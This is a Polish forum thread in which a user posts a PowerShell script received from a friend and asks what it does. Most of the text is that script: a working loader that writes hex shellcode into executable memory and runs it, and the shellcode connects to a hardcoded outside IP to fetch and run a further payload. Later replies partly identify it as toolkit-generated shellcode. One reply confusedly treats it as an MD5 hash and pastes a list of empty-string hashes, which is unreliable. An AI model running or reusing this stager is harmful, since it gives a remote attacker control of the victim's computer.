public static extern IntPtr memset(IntPtr dest, uint src, uint count);
';
$w = Add-Type -memberDefinition $UnQ -Name "Win32" -namespace Win32Functions -passthru;
[byte[]];
[byte[]]
$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0x5d,0xb5,0x8f,0x69,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;
$g = 0x1000;
if ($z.Length -gt 0x1000){
$g = $z.Length
};
$QCzQ=$w::VirtualAlloc(0,0x1000,$g,0x40);
 
for ($i=0;$i -le ($z.Length-1);$i++){
$w::memset([intPtr]($QCzQ.ToInt32()+$i), $z[$i], 1)
};
 
$w::CreateThread(0,0,$QCzQ,0,0,0);
for (; ;){Start-sleep 60};';
$e = [system.Convert]::ToBase64String([system.Text.Encoding]::Unicode.GetBytes($y74m));
$FLdO = "-EncodedCommand ";
if([intPtr]::Size -eq 8){
$4KvA = $env:SystemRoot + "\syswow64\WindowsPowerShell\v1.0\powershell";iex "& $4KvA $FLdO $e"
}
else{
;iex "& powershell $FLdO $e";
}

 
Powiedzcie proszę co ten kawałek kodu robi ;_;?
Wiem, że znajomy bawił się w c++, toteż tutaj umieściłem ten problem, ale niewykluczone, że to inny język, więc jeżeli się mylę, proszę przerzucić temat do właściwego działu. 

 

 

 

 

tutaj możesz rozszyfrować md5 

http://www.md5decrypter.com/

Albo tutaj masz kod 

<?php $tekst='foobar'; echo md5($tekst); ?>

I posługując się jakąś tam wypowiedzią znanej mi osoby 

Nie można rozkodować md5. Można jedynie przeszukiwać bazy danych w poszukiwaniu takiego samego hash'a. Jednak jest to typowa metoda słownikowa.

I oczywiście:

MD5         : d41d8cd98f00b204e9800998ecf8427e
MD5x2       : 74be16979710d4c4e7c6647856088456
MD5x3       : acf7ef943fdeb3cbfed8dd0d8f584731
MD5x4       : 5a8dccb220de5c6775c873ead6ff2e43
MD5x5       : 76682f743ae018364a082b2e87f2d2f5
MD5(Reverse): 7e42f8ec980980e904b2008fd98c1dd4
MD5(Unicode): d41d8cd98f00b204e9800998ecf8427e
HMACMD5     : 6725dae9821bda7e67a01b005b182a8a
MD5(Base64) : 1B2M2Y8AsgTpgAmY7PhCfg==
MD4         : 31d6cfe0d16ae931b73c59d7e0c089c0
NTLM        : 31d6cfe0d16ae931b73c59d7e0c089c0
LM          : aad3b435b51404eeaad3b435b51404ee
MySQL5      : be1bdec0aa74b4dcb079943e70528096cca985f8
SHA1         : da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA1x2       : 10a34637ad661d98ba3344717656fcc76209c2f8
SHA1x3       : 3e6c06b1a28a035e21aa0a736ef80afadc43122c
SHA1(Reverse): 0907d8af90186095efbf55320d4b6b5eeea339da
SHA1(Unicode): da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA1(Base64) : 2jmj7l5rSw0yVb/vlWAYkK/YBwk=
SHA256      : e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA384      : 38b060a751ac96384cd9327eb1b1e36a21fdb71114be07434c0cc7bf63f6e1da274edebfe76f65fbd51ad2f14898b95b
SHA512      : cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
RIPEMD160   : 9c1185a5c5e9fc54612808977ee8f548b2258d31
HMACRIPEMD160   : 4b526686f0a0ae5e019e245373941810976b6ca6
md5(sha1($pass)): 0144712dd81be0c3d9724f5e56ce6685
sha1(md5($pass)): 67a74306b06d0c01624fe0d0249a570f4d093747
md5($pass.$salt): d41d8cd98f00b204e9800998ecf8427e
md5($salt.$pass): d41d8cd98f00b204e9800998ecf8427e
md5(md5($pass).$salt): 74be16979710d4c4e7c6647856088456
md5(md5($salt).$pass): 74be16979710d4c4e7c6647856088456
md5($salt.md5($pass)): 74be16979710d4c4e7c6647856088456
md5($salt.$pass.$salt): d41d8cd98f00b204e9800998ecf8427e
md5(md5($salt).md5($pass)): 020eb29b524d7ba672d9d48bc72db455
sha1($pass.$salt): da39a3ee5e6b4b0d3255bfef95601890afd80709
sha1($salt.$pass): da39a3ee5e6b4b0d3255bfef95601890afd80709

RAdmin v2.*: 6d0bb00954ceb7fbee436bb55a8397a9

Jakiś kod morsa ci wysłał który będzie weryfikował to co wpisujesz na kompie, tak może być. Nie koniecznie muszę mieć racje.

Czerwone jest piękne! Kocham <3

NexyIki Znawca

NexyIki

Opublikowano
Znawca

NexyIki

Opublikowano

@Vaiktar

Nie wiem, gdzie widzisz tam jakikolwiek hash.

 

@topic

Twój koleżka musi być mega śmieszkiem, ponieważ wysłał Ci coś z social-engineer toolkit, poczytaj o tym. Nie wiem co dokładnie Ci wysłał, ale niewykluczone, że exploit (wirus) podmienia Ci stronę prawdziwą stronę, powiedzmy facebooka, na fake strone (phising site) zrobioną przez twojego koleżke w celu przechwycenia twojego loginu i hasło, lub innych danych.

Pancake Uczeń

Pancake

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Uczeń

Pancake

Opublikowano

Zdeasembluj i przelec przez ten szelkod. Wkleilem sobie go w ollego, najpeirw szuka kernel32 z peba, potem LoadLibrary, laduje ws2_32.dll czyli sprawy socektowe. Dalej nie sprawdzalem

Zarchiwizowany

Ten temat przebywa obecnie w archiwum. Dodawanie nowych odpowiedzi zostało zablokowane.

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